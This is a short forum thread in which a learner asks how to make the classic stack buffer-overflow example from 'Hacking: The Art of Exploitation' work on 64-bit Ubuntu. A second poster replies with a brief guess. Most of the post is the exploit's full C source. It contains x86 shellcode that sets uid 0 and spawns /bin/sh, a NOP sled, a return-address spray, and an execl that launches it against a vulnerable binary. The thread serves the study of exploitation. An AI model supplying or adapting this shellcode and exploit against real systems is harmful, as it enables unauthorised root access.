art of exploitation example help

[Michaela Elise]

Hello all,
I am starting with the book "Hacking, The art of Exploitation" and in the first example vuln.c there is a simple overflow attack (see below). However, it does not work on my 64bit Ubuntu and I get that this is from 2003 and things have changed. Is there a modification that can be done to this code to get it to work. I read something about using the existing *argv pointer but there was no explanation. Thank you to any help.

#include <stdlib.h>

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

unsigned long sp(void) {__asm__("movl %esp, %eax");}

int main(int argc, char *argv[]) {

    int i, offset;
    long esp, ret, *addr_ptr;
    char *buffer, *ptr;

    offset = 0;
    esp = sp();
    ret = esp - offset;

    printf("Stack pointer (ESP) : 0x%x\n", esp);
    printf("  Offset from ESP : 0x%x\n", offset);
    printf("Desired return Addr : 0x%x\n", ret);

    buffer = malloc(600);

    ptr = buffer;
    addr_ptr = (long*)ptr;

    for(i=0; i < 600; ++i)
    {*(addr_ptr++) = ret; }

    for(i=0;i<200;++i)
    {buffer[i] = '\x90';}

    ptr = buffer + 200;
    for(i=0;i<strlen(shellcode);++i)
    {*(ptr++) = shellcode[i];}

    buffer[600-1] = 0;

    execl("./vuln", "vuln", buffer, 0);

    free(buffer);
}

[Dy7SLyTq]

i don't have a lot of time to look at it because im busy, but my guess would be you need to double what you are using to overflow